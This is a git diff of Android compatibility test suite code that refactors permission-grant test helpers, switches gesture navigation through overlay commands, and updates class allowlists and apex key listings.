@@ -780,32 +815,26 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
}
}
- public void addGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed) {
- Context context = getInstrumentation().getTargetContext();
+ public void addGrantedPermission(PackageInfo packageInfo, String reason, String permission,
+ FixedState fixed) {
+ String packageName = packageInfo.packageName;
+ int targetSdk = packageInfo.applicationInfo.targetSdkVersion;
// Add permissions split off from the permission to granted
- try {
- PackageInfo info = context.getPackageManager().getPackageInfo(packageName, 0);
- int targetSdk = info.applicationInfo.targetSdkVersion;
-
- for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
- mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
- : reason + " (split from " + permission + ")", extendedPerm,
- fixed, false);
- }
- } catch (PackageManager.NameNotFoundException e) {
- // ignore
+ for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+ mergeGrantedPermission(packageName, extendedPerm.equals(permission) ? reason
+ : reason + " (split from " + permission + ")", extendedPerm,
+ fixed, false);
}
}
public void overrideGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed) {
+ FixedState fixed) {
mergeGrantedPermission(packageName, reason, permission, fixed, true);
}
public void mergeGrantedPermission(String packageName, String reason, String permission,
- Boolean fixed, boolean override) {
+ FixedState fixed, boolean override) {
if (!mGrantReasons.containsKey(packageName)) {
mGrantReasons.put(packageName, new ArrayMap<>());
}
@@ -817,18 +846,22 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
mGrantReasons.get(packageName).get(permission).add(new GrantReason(reason, override,
fixed));
- Boolean oldFixed = grantedPermissions.get(permission);
+ FixedState oldFixed = grantedPermissions.get(permission);
if (oldFixed == null) {
grantedPermissions.put(permission, fixed);
} else {
- if (override) {
- if (oldFixed == Boolean.FALSE && fixed == Boolean.TRUE) {
+ if (oldFixed != SUPER_FIXED && fixed == SUPER_FIXED) {
+ Log.w(LOG_TAG, "override already granted permission " + permission + "("
+ + fixed + ") for " + packageName);
+ grantedPermissions.put(permission, fixed);
+ } else if (override) {
+ if (oldFixed == NOT_FIXED && fixed == FIXED) {
Log.w(LOG_TAG, "override already granted permission " + permission + "("
+ fixed + ") for " + packageName);
grantedPermissions.put(permission, fixed);
}
} else {
- if (oldFixed == Boolean.TRUE && fixed == Boolean.FALSE) {
+ if (oldFixed == FIXED && fixed == NOT_FIXED) {
Log.w(LOG_TAG, "add already granted permission " + permission + "("
+ fixed + ") to " + packageName);
grantedPermissions.put(permission, fixed);
@@ -846,20 +879,20 @@ public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogic
public String pkg;
public String sha256;
public boolean hasBrand; // in rare cases, brand will be specified instead of SHA256 hash
- public Map<String, Boolean> permissions = new HashMap<>();
+ public Map<String, UidState.FixedState> permissions = new HashMap<>();
public boolean hasNonBrandSha256() {
return !sha256.isEmpty() && !hasBrand;
}
public DefaultPermissionGrantException(String pkg, String sha256,
- Map<String, Boolean> permissions) {
+ Map<String, UidState.FixedState> permissions) {
this(UNSET_PLACEHOLDER, UNSET_PLACEHOLDER, pkg, sha256, permissions);
}
public DefaultPermissionGrantException(String company, String metadata, String pkg,
String sha256,
- Map<String, Boolean> permissions) {
+ Map<String, UidState.FixedState> permissions) {
this.company = company;
this.metadata = metadata;
this.pkg = pkg;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
index 9c363d23b39..4e798df6a5e 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/GestureNavRule.java
@@ -19,58 +19,60 @@ package com.android.compatibility.common.util;
import static org.junit.Assume.assumeTrue;
import android.app.Instrumentation;
-import android.content.ComponentName;
import android.content.Context;
-import android.content.Intent;
import android.content.pm.PackageManager;
import android.content.res.Resources;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
+import android.graphics.Insets;
+import android.graphics.Rect;
+import android.os.SystemClock;
import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
-import android.util.ArrayMap;
+import android.view.WindowInsets;
+import android.view.WindowManager;
import androidx.test.InstrumentationRegistry;
+import org.junit.ClassRule;
import org.junit.rules.ExternalResource;
-import java.util.Map;
+import java.io.IOException;
/**
- * Test rule to enable gesture navigation on the device.
+ * Test rule to enable gesture navigation on the device. Designed to be a {@link ClassRule}.
*/
public class GestureNavRule extends ExternalResource {
- private static final String SETTINGS_PACKAGE_NAME = "com.android.settings";
private static final String NAV_BAR_INTERACTION_MODE_RES_NAME = "config_navBarInteractionMode";
- private static final int NAV_BAR_INTERACTION_MODE_GESTURAL = 2;
+ private static final int NAV_BAR_MODE_3BUTTON = 0;
+ private static final int NAV_BAR_MODE_2BUTTON = 1;
+ private static final int NAV_BAR_MODE_GESTURAL = 2;
- /** Most application's res id must be larger than 0x7f000000 */
- public static final int MIN_APPLICATION_RES_ID = 0x7f000000;
- public static final String SETTINGS_CLASS =
- SETTINGS_PACKAGE_NAME + ".Settings$SystemDashboardActivity";
+ private static final String NAV_BAR_MODE_3BUTTON_OVERLAY =
+ "com.android.internal.systemui.navbar.threebutton";
+ private static final String NAV_BAR_MODE_2BUTTON_OVERLAY =
+ "com.android.internal.systemui.navbar.twobutton";
+ private static final String GESTURAL_OVERLAY_NAME =
+ "com.android.internal.systemui.navbar.gestural";
+
+ private static final int WAIT_OVERLAY_TIMEOUT = 3000;
+ private static final int PEEK_INTERVAL = 200;
- private final Map<String, Boolean> mSystemGestureOptionsMap = new ArrayMap<>();
private final Context mTargetContext;
private final UiDevice mDevice;
+ private final WindowManager mWindowManager;
- // Bounds for actions like swipe and click.
- private String mEdgeToEdgeNavigationTitle;
- private String mSystemNavigationTitle;
- private String mGesturePreferenceTitle;
- private boolean mConfiguredInSettings;
+ private final String mOriginalOverlayPackage;
@Override
protected void before() throws Throwable {
if (!isGestureMode()) {
enableGestureNav();
}
- assumeGestureNavigationMode();
}
@Override
protected void after() {
- disableGestureNav();
+ if (!mOriginalOverlayPackage.equals(GESTURAL_OVERLAY_NAME)) {
+ disableGestureNav();
+ }
}
/**
@@ -81,39 +83,16 @@ public class GestureNavRule extends ExternalResource {
Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
mDevice = UiDevice.getInstance(instrumentation);
mTargetContext = instrumentation.getTargetContext();
- PackageManager packageManager = mTargetContext.getPackageManager();
- Resources res;
- try {
- res = packageManager.getResourcesForApplication(SETTINGS_PACKAGE_NAME);
- } catch (PackageManager.NameNotFoundException e) {
- return;
- }
- if (res == null) {
- return;
- }
-
- mEdgeToEdgeNavigationTitle = getSettingsString(res, "edge_to_edge_navigation_title");
- mGesturePreferenceTitle = getSettingsString(res, "gesture_preference_title");
- mSystemNavigationTitle = getSettingsString(res, "system_navigation_title");
-
- String text = getSettingsString(res, "edge_to_edge_navigation_title");
- if (text != null) {
- mSystemGestureOptionsMap.put(text, false);
- }
- text = getSettingsString(res, "swipe_up_to_switch_apps_title");
- if (text != null) {
- mSystemGestureOptionsMap.put(text, false);
- }
- text = getSettingsString(res, "legacy_navigation_title");
- if (text != null) {
- mSystemGestureOptionsMap.put(text, false);
- }
- mConfiguredInSettings = false;
+ mOriginalOverlayPackage = getCurrentOverlayPackage();
+ mWindowManager = mTargetContext.getSystemService(WindowManager.class);
}
@SuppressWarnings("BooleanMethodIsAlwaysInverted")
private boolean hasSystemGestureFeature() {
+ if (!containsNavigationBar()) {
+ return false;
+ }
final PackageManager pm = mTargetContext.getPackageManager();
// No bars on embedded devices.
@@ -124,129 +103,120 @@ public class GestureNavRule extends ExternalResource {
|| pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE));
}
-
- private UiObject2 findSystemNavigationObject(String text, boolean addCheckSelector) {
- BySelector widgetFrameSelector = By.res("android", "widget_frame");
- BySelector checkboxSelector = By.checkable(true);
- if (addCheckSelector) {
- checkboxSelector = checkboxSelector.checked(true);
- }
- BySelector textSelector = By.text(text);
- BySelector targetSelector = By.hasChild(widgetFrameSelector).hasDescendant(textSelector)
- .hasDescendant(checkboxSelector);
-
- return mDevice.findObject(targetSelector);
- }
-
- private boolean launchToSettingsSystemGesture() {
-
- // Open the Settings app as close as possible to the gesture Fragment
- Intent intent = new Intent(Intent.ACTION_MAIN);
- ComponentName settingComponent = new ComponentName(SETTINGS_PACKAGE_NAME, SETTINGS_CLASS);
- intent.setComponent(settingComponent);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- mTargetContext.startActivity(intent);
-
- // Wait for the app to appear
- mDevice.wait(Until.hasObject(By.pkg("com.android.settings").depth(0)),
- 5000);
- mDevice.wait(Until.hasObject(By.text(mGesturePreferenceTitle)), 5000);
- if (mDevice.findObject(By.text(mGesturePreferenceTitle)) == null) {
- return false;
- }
- mDevice.findObject(By.text(mGesturePreferenceTitle)).click();
- mDevice.wait(Until.hasObject(By.text(mSystemNavigationTitle)), 5000);
- if (mDevice.findObject(By.text(mSystemNavigationTitle)) == null) {
- return false;
+ private String getCurrentOverlayPackage() {
+ final int currentNavMode = getCurrentNavMode();
+ switch (currentNavMode) {
+ case NAV_BAR_MODE_GESTURAL:
+ return GESTURAL_OVERLAY_NAME;
+ case NAV_BAR_MODE_2BUTTON:
+ return NAV_BAR_MODE_2BUTTON_OVERLAY;
+ case NAV_BAR_MODE_3BUTTON:
+ default:
+ return NAV_BAR_MODE_3BUTTON_OVERLAY;
}
- mDevice.findObject(By.text(mSystemNavigationTitle)).click();
- mDevice.wait(Until.hasObject(By.text(mEdgeToEdgeNavigationTitle)), 5000);
-
- return mDevice.hasObject(By.text(mEdgeToEdgeNavigationTitle));
}
- private void leaveSettings() {
- mDevice.pressBack(); /* Back to Gesture */
- mDevice.waitForIdle();
- mDevice.pressBack(); /* Back to System */
- mDevice.waitForIdle();
- mDevice.pressBack(); /* back to Settings */
- mDevice.waitForIdle();
- mDevice.pressBack(); /* Back to Home */
- mDevice.waitForIdle();
-
- mDevice.pressHome(); /* double confirm back to home */
- mDevice.waitForIdle();
+ private void insetsToRect(Insets insets, Rect outRect) {
+ outRect.set(insets.left, insets.top, insets.right, insets.bottom);
}
private void enableGestureNav() {
if (!hasSystemGestureFeature()) {
return;
}
-
- // Set up the gesture navigation by enabling it via the Settings app
- boolean isOperatedSettingsToExpectedOption = launchToSettingsSystemGesture();
- if (isOperatedSettingsToExpectedOption) {
- for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) {
- UiObject2 uiObject2 = findSystemNavigationObject(entry.getKey(), true);
- entry.setValue(uiObject2 != null);
- }
- UiObject2 edgeToEdgeObj = mDevice.findObject(By.text(mEdgeToEdgeNavigationTitle));
- if (edgeToEdgeObj != null) {
- edgeToEdgeObj.click();
- mConfiguredInSettings = true;
+ try {
+ if (!mDevice.executeShellCommand("cmd overlay list").contains(GESTURAL_OVERLAY_NAME)) {
+ return;
}
+ } catch (IOException ignore) {
+ //
}
- mDevice.waitForIdle();
- leaveSettings();
-
- mDevice.pressHome();
- mDevice.waitForIdle();
-
- mDevice.waitForIdle();
+ monitorOverlayChange(() -> {
+ try {
+ mDevice.executeShellCommand("cmd overlay enable " + GESTURAL_OVERLAY_NAME);
+ } catch (IOException e) {
+ // Do nothing
+ }
+ });
}
- /**
- * Restore the original configured value for the system gesture by operating Settings.
- */
private void disableGestureNav() {
if (!hasSystemGestureFeature()) {
return;
}
+ monitorOverlayChange(() -> {
+ try {
+ mDevice.executeShellCommand("cmd overlay enable " + mOriginalOverlayPackage);
+ } catch (IOException ignore) {
+ // Do nothing
+ }
+ });
+ }
- if (mConfiguredInSettings) {
- launchToSettingsSystemGesture();
- for (Map.Entry<String, Boolean> entry : mSystemGestureOptionsMap.entrySet()) {
- if (entry.getValue()) {
- UiObject2 navigationObject = findSystemNavigationObject(entry.getKey(), false);
- if (navigationObject != null) {
- navigationObject.click();
- }
+ private void getCurrentInsetsSize(Rect outSize) {
+ outSize.setEmpty();
+ if (mWindowManager != null) {
+ WindowInsets insets = mWindowManager.getCurrentWindowMetrics().getWindowInsets();
+ Insets navInsets = insets.getInsetsIgnoringVisibility(
+ WindowInsets.Type.navigationBars());
+ insetsToRect(navInsets, outSize);
+ }
+ }
+
+ // Monitoring the navigation bar insets size change as a hint of gesture mode has changed, not
+ // the best option for every kind of devices. We can consider listening OVERLAY_CHANGED
+ // broadcast in U.
+ private void monitorOverlayChange(Runnable overlayChangeCommand) {
+ if (mWindowManager != null) {
+ final Rect initSize = new Rect();
+ getCurrentInsetsSize(initSize);
+
+ overlayChangeCommand.run();
+ // wait for insets size change
+ final Rect peekSize = new Rect();
+ int t = 0;
+ while (t < WAIT_OVERLAY_TIMEOUT) {
+ SystemClock.sleep(PEEK_INTERVAL);
+ t += PEEK_INTERVAL;
+ getCurrentInsetsSize(peekSize);
+ if (!peekSize.equals(initSize)) {
+ break;
}
}
- leaveSettings();
+ } else {
+ // shouldn't happen
+ overlayChangeCommand.run();
+ SystemClock.sleep(WAIT_OVERLAY_TIMEOUT);
}
}
- private void assumeGestureNavigationMode() {
+ /**
+ * Assumes the device is in gesture navigation mode. Due to constraints of AndroidJUnitRunner we
+ * can't make assumptions in static contexts like in a {@link ClassRule} so tests need to call
+ * this method explicitly.
+ */
+ public void assumeGestureNavigationMode() {
boolean isGestureMode = isGestureMode();
assumeTrue("Gesture navigation required", isGestureMode);
}
- private boolean isGestureMode() {
- // TODO: b/153032202 consider the CTS on GSI case.
+ private int getCurrentNavMode() {
Resources res = mTargetContext.getResources();
int naviModeId = res.getIdentifier(NAV_BAR_INTERACTION_MODE_RES_NAME, "integer", "android");
- int naviMode = res.getInteger(naviModeId);
- return naviMode == NAV_BAR_INTERACTION_MODE_GESTURAL;
+ return res.getInteger(naviModeId);
}
- private static String getSettingsString(Resources res, String strResName) {
- int resIdString = res.getIdentifier(strResName, "string", SETTINGS_PACKAGE_NAME);
- if (resIdString <= MIN_APPLICATION_RES_ID) {
- return null;
- }
+ private boolean containsNavigationBar() {
+ final Rect peekSize = new Rect();
+ getCurrentInsetsSize(peekSize);
+ return peekSize.height() != 0;
+ }
- return res.getString(resIdString);
+ private boolean isGestureMode() {
+ if (!containsNavigationBar()) {
+ return false;
+ }
+ final int naviMode = getCurrentNavMode();
+ return naviMode == NAV_BAR_MODE_GESTURAL;
}
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
index 3f42e32f5f5..a9543c246ab 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java
@@ -21,6 +21,7 @@ import static org.junit.Assert.assertNotNull;
import android.graphics.Rect;
import android.support.test.uiautomator.By;
import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.StaleObjectException;
import android.support.test.uiautomator.UiDevice;
import android.support.test.uiautomator.UiObject2;
import android.support.test.uiautomator.UiObjectNotFoundException;
@@ -28,6 +29,7 @@ import android.support.test.uiautomator.UiScrollable;
import android.support.test.uiautomator.UiSelector;
import android.support.test.uiautomator.Until;
import android.util.TypedValue;
+import android.util.Log;
import androidx.test.InstrumentationRegistry;
import androidx.test.core.app.ApplicationProvider;
@@ -37,6 +39,8 @@ import java.util.regex.Pattern;
public class UiAutomatorUtils {
private UiAutomatorUtils() {}
+ private static final String LOG_TAG = "UiAutomatorUtils";
+
/** Default swipe deadzone percentage. See {@link UiScrollable}. */
private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1;
@@ -86,7 +90,15 @@ public class UiAutomatorUtils {
final int minViewHeightPx = convertDpToPx(MIN_VIEW_HEIGHT_DP);
while (view == null && start + timeoutMs > System.currentTimeMillis()) {
- view = getUiDevice().wait(Until.findObject(selector), 1000);
+ try {
+ view = getUiDevice().wait(Until.findObject(selector), 1000);
+ } catch (StaleObjectException exception) {
+ // UiDevice.wait() may cause StaleObjectException if the {@link View} attached to
+ // UiObject2 is no longer in the view tree.
+ Log.v(LOG_TAG, "UiObject2 view is no longer in the view tree.", exception);
+ getUiDevice().waitForIdle();
+ continue;
+ }
if (view == null || view.getVisibleBounds().height() < minViewHeightPx) {
final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV())
diff --git a/common/device-side/util/OWNERS b/common/device-side/util/OWNERS
index b61fd53957d..aa5c93ef36a 100644
--- a/common/device-side/util/OWNERS
+++ b/common/device-side/util/OWNERS
@@ -1,2 +1,2 @@
-per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, felipeal@google.com
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, felipeal@google.com
diff --git a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
index a1764996f11..da41f95ef30 100644
--- a/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
+++ b/hostsidetests/appcompat/strictjavapackages/src/android/compat/sjp/cts/StrictJavaPackagesTest.java
@@ -83,6 +83,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
private static ImmutableList<String> sSystemserverclasspathJars;
private static ImmutableList<String> sSharedLibJars;
private static ImmutableList<SharedLibraryInfo> sSharedLibs;
+ private static ImmutableMultimap<String, String> sSharedLibsPathsToName;
private static ImmutableMultimap<String, String> sJarsToClasses;
private static ImmutableMultimap<String, String> sJarsToFiles;
@@ -206,6 +207,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
"Landroid/os/IVoldListener;",
"Landroid/os/IVoldMountCallback;",
"Landroid/os/IVoldTaskListener;",
+ "Landroid/os/TouchOcclusionMode;",
"Landroid/os/storage/CrateMetadata;",
"Landroid/view/LayerMetadataKey;",
"Lcom/android/internal/annotations/CompositeRWLock;",
@@ -223,7 +225,21 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
"Landroid/os/CreateAppDataArgs;",
"Landroid/os/CreateAppDataResult;",
"Landroid/os/ReconcileSdkDataArgs;",
- "Lcom/android/internal/util/FrameworkStatsLog;"
+ "Lcom/android/internal/util/FrameworkStatsLog;",
+ // Extra Pixel specific S oversights
+ "Landroid/os/BlockUntrustedTouchesMode;",
+ "Landroid/os/IInputConstants;",
+ "Landroid/os/InputEventInjectionResult;",
+ "Landroid/os/InputEventInjectionSync;",
+ // TODO(b/242741880): Remove duplication between sdksandbox-service and
+ // sdk-sandbox-framework
+ "Landroid/app/sdksandbox/ILoadSdkCallback;",
+ "Landroid/app/sdksandbox/IRequestSurfacePackageCallback;",
+ "Landroid/app/sdksandbox/ISdkSandboxManager;",
+ "Landroid/app/sdksandbox/ISdkSandboxProcessDeathCallback;",
+ "Landroid/app/sdksandbox/ISendDataCallback;",
+ "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;",
+ "Landroid/app/sdksandbox/ISdkToServiceCallback;"
);
private static final String FEATURE_WEARABLE = "android.hardware.type.watch";
@@ -335,7 +351,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
// Already duplicate in BCP.
"Landroid/hidl/base/V1_0/DebugInfo;",
"Landroid/hidl/base/V1_0/IBase;",
- // /apex/com.android.bluetooth/javalib/framework-bluetooth.jar
+ // /apex/com.android.btservices/javalib/framework-bluetooth.jar
"Lcom/android/bluetooth/x/android/sysprop/AdbProperties;",
"Lcom/android/bluetooth/x/android/sysprop/ApkVerityProperties;",
"Lcom/android/bluetooth/x/android/sysprop/BluetoothProperties;",
@@ -717,14 +733,22 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
private static final ImmutableSet<String> ADSERVICES_SANDBOX_APK_IN_APEX_BURNDOWN_LIST =
ImmutableSet.of(
// /apex/com.android.adservices/javalib/service-sdksandbox.jar
+ "Landroid/app/sdksandbox/ISharedPreferencesSyncCallback;",
+ "Lcom/android/sdksandbox/IDataReceivedCallback;",
+ "Lcom/android/sdksandbox/ILoadSdkInSandboxCallback;",
+ "Lcom/android/sdksandbox/IRequestSurfacePackageFromSdkCallback;",
"Lcom/android/sdksandbox/ISdkSandboxManagerToSdkSandboxCallback;",
"Lcom/android/sdksandbox/ISdkSandboxService;",
- "Lcom/android/sdksandbox/ISdkSandboxToSdkSandboxManagerCallback;"
+ "Lcom/android/sdksandbox/SandboxLatencyInfo-IA;",
+ "Lcom/android/sdksandbox/SandboxLatencyInfo;",
+ "Lcom/android/sdksandbox/IUnloadSdkCallback;"
);
private static final ImmutableMap<String, ImmutableSet<String>> FULL_APK_IN_APEX_BURNDOWN =
new ImmutableMap.Builder<String, ImmutableSet<String>>()
- .put("/apex/com.android.bluetooth/app/Bluetooth/Bluetooth.apk",
+ .put("/apex/com.android.btservices/app/Bluetooth/Bluetooth.apk",
+ BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
+ .put("/apex/com.android.btservices/app/BluetoothGoogle/BluetoothGoogle.apk",
BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.bluetooth/app/BluetoothGoogle/BluetoothGoogle.apk",
BLUETOOTH_APK_IN_APEX_BURNDOWN_LIST)
@@ -732,6 +756,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.permission/priv-app/GooglePermissionController/GooglePermissionController.apk",
PERMISSION_CONTROLLER_APK_IN_APEX_BURNDOWN_LIST)
+ .put("/apex/com.android.tethering/priv-app/InProcessTethering/InProcessTethering.apk",
+ TETHERING_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.tethering/priv-app/TetheringNextGoogle/TetheringNextGoogle.apk",
TETHERING_APK_IN_APEX_BURNDOWN_LIST)
.put("/apex/com.android.tethering/priv-app/TetheringGoogle/TetheringGoogle.apk",
@@ -785,6 +811,13 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
.filter(file -> !file.contains("GmsCore"))
.filter(file -> !file.contains("com.google.android.gms"))
.collect(ImmutableList.toImmutableList());
+ final ImmutableSetMultimap.Builder<String, String> sharedLibsPathsToName =
+ ImmutableSetMultimap.builder();
+ sSharedLibs.forEach(sharedLibraryInfo -> {
+ sharedLibraryInfo.paths.forEach(path ->
+ sharedLibsPathsToName.putAll(path, sharedLibraryInfo.name));
+ });
+ sSharedLibsPathsToName = sharedLibsPathsToName.build();
final ImmutableSetMultimap.Builder<String, String> jarsToFiles =
ImmutableSetMultimap.builder();
@@ -993,8 +1026,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
.collect(ImmutableSet.toImmutableSet());
// b/226559955: The directory paths containing APKs contain the build ID,
// so strip out the @BUILD_ID portion.
- // e.g. /apex/com.android.bluetooth/app/Bluetooth@SC-DEV/Bluetooth.apk ->
- // /apex/com.android.bluetooth/app/Bluetooth/Bluetooth.apk
+ // e.g. /apex/com.android.btservices/app/Bluetooth@SC-DEV/Bluetooth.apk ->
+ // /apex/com.android.btservices/app/Bluetooth/Bluetooth.apk
apk = apk.replaceFirst("@[^/]*", "");
final ImmutableSet<String> burndownClasses =
FULL_APK_IN_APEX_BURNDOWN.getOrDefault(apk, ImmutableSet.of());
@@ -1024,20 +1057,26 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
* and shared library jars.
*/
@Test
- public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies() {
+ public void testBootClasspathAndSystemServerClasspathAndSharedLibs_noAndroidxDependencies()
+ throws Exception {
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastT());
// WARNING: Do not add more exceptions here, no androidx should be in bootclasspath.
// See go/androidx-api-guidelines#module-naming for more details.
final ImmutableMap<String, ImmutableSet<String>>
- LegacyExemptAndroidxSharedLibsJarToClasses =
+ LegacyExemptAndroidxSharedLibsNamesToClasses =
new ImmutableMap.Builder<String, ImmutableSet<String>>()
- .put("/vendor/framework/androidx.camera.extensions.impl.jar",
+ .put("androidx.camera.extensions.impl",
ImmutableSet.of("Landroidx/camera/extensions/impl/"))
- .put("/system_ext/framework/androidx.window.extensions.jar",
+ .put("androidx.window.extensions",
ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/extensions/",
"Landroidx/window/util/"))
- .put("/system_ext/framework/androidx.window.sidecar.jar",
+ .put("androidx.window.sidecar",
ImmutableSet.of("Landroidx/window/common/", "Landroidx/window/sidecar",
"Landroidx/window/util"))
+ .put("com.google.android.camera.experimental2019",
+ ImmutableSet.of("Landroidx/annotation"))
+ .put("com.google.android.camera.experimental2020_midyear",
+ ImmutableSet.of("Landroidx/annotation"))
.build();
assertWithMessage("There must not be any androidx classes on the "
+ "bootclasspath. Please use alternatives provided by the platform instead. "
@@ -1045,7 +1084,7 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
.that(sJarsToClasses.entries().stream()
.filter(e -> e.getValue().startsWith("Landroidx/"))
.filter(e -> !isLegacyAndroidxDependency(
- LegacyExemptAndroidxSharedLibsJarToClasses, e.getKey(), e.getValue()))
+ LegacyExemptAndroidxSharedLibsNamesToClasses, e.getKey(), e.getValue()))
.collect(Collectors.toList())
).isEmpty();
}
@@ -1055,7 +1094,8 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
* and shared library jars.
*/
@Test
- public void testNoKotlinFilesInClasspaths() {
+ public void testNoKotlinFilesInClasspaths() throws Exception {
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastT());
ImmutableList<String> kotlinFiles =
Stream.of(sBootclasspathJars.stream(),
sSystemserverclasspathJars.stream(),
@@ -1063,16 +1103,41 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
.reduce(Stream::concat).orElseGet(Stream::empty)
.parallel()
.filter(jarPath -> {
- return sJarsToFiles
- .get(jarPath)
- .stream()
- .anyMatch(file -> file.contains(".kotlin_builtins")
- || file.contains(".kotlin_module"));
+ // Exclude shared library apks.
+ return jarPath.endsWith(".jar")
+ && sJarsToFiles.get(jarPath)
+ .stream()
+ .anyMatch(file -> file.contains(".kotlin_builtins")
+ || file.contains(".kotlin_module"));
})
.collect(ImmutableList.toImmutableList());
assertThat(kotlinFiles).isEmpty();
}
+ /**
+ * Ensure that all classes from protobuf libraries are jarjared before
+ * included in BOOTCLASSPATH, SYSTEMSERVERCLASSPATH and shared library jars
+ */
+ @Test
+ public void testNoProtobufClassesWithoutJarjar() throws Exception {
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastU());
+ assertWithMessage("Classes from protobuf libraries must not be included in bootclasspath "
+ + "and systemserverclasspath without being jarjared.")
+ .that(Stream.of(sBootclasspathJars.stream(),
+ sSystemserverclasspathJars.stream(),
+ sSharedLibJars.stream())
+ .reduce(Stream::concat).orElseGet(Stream::empty)
+ .parallel()
+ .filter(jarPath -> {
+ return sJarsToClasses
+ .get(jarPath)
+ .stream()
+ .anyMatch(cls -> cls.startsWith("Lcom/google/protobuf/"));
+ })
+ .collect(ImmutableList.toImmutableList())
+ ).isEmpty();
+ }
+
private static File pullJarFromDevice(INativeDevice device,
String remoteJarPath) throws DeviceNotAvailableException {
File jar = device.pullFile(remoteJarPath);
@@ -1091,11 +1156,12 @@ public class StrictJavaPackagesTest extends BaseHostJUnit4Test {
}
private boolean isLegacyAndroidxDependency(
- ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsJarToClasses,
- String jar, String className) {
- return legacyExemptAndroidxSharedLibsJarToClasses.containsKey(jar)
- && legacyExemptAndroidxSharedLibsJarToClasses.get(jar).stream().anyMatch(
- v -> className.startsWith(v));
+ ImmutableMap<String, ImmutableSet<String>> legacyExemptAndroidxSharedLibsNamesToClasses,
+ String path, String className) {
+ return sSharedLibsPathsToName.get(path).stream()
+ .filter(legacyExemptAndroidxSharedLibsNamesToClasses::containsKey)
+ .flatMap(name -> legacyExemptAndroidxSharedLibsNamesToClasses.get(name).stream())
+ .anyMatch(className::startsWith);
}
private String[] collectApkInApexPaths() {
diff --git a/hostsidetests/appsecurity/res/apexsigverify/README.md b/hostsidetests/appsecurity/res/apexsigverify/README.md
index 9012a858ac4..4b5dcd28ddb 100644
--- a/hostsidetests/appsecurity/res/apexsigverify/README.md
+++ b/hostsidetests/appsecurity/res/apexsigverify/README.md
@@ -15,6 +15,7 @@ frameworks/av/apex/com.android.media.avbpubkey
frameworks/base/packages/Tethering/apex/com.android.tethering.avbpubkey
frameworks/ml/nn/apex/com.android.neuralnetworks.avbpubkey
frameworks/opt/net/ike/apex/com.android.ipsec.avbpubkey
+packages/modules/Bluetooth/apex/com.android.btservices.avbpubkey
packages/modules/SdkExtensions/com.android.sdkext.avbpubkey
system/apex/apexd/apexd_testdata/com.android.apex.test_package_2.avbpubkey
system/apex/apexd/apexd_testdata/com.android.apex.test_package.no_inst_key.avbpubkey
@@ -27,7 +28,6 @@ system/apex/apexer/testdata/com.android.example.apex.avbpubkey
system/apex/apexer/etc/com.android.support.apexer.avbpubkey
system/netd/apex/com.android.resolv.avbpubkey
system/timezone/apex/com.android.tzdata.avbpubkey
-system/bt/apex/com.android.bluetooth.updatable.avbpubkey
system/core/adb/apex/com.android.adbd.avbpubkey
system/core/rootdir/avb/s-gsi.avbpubkey
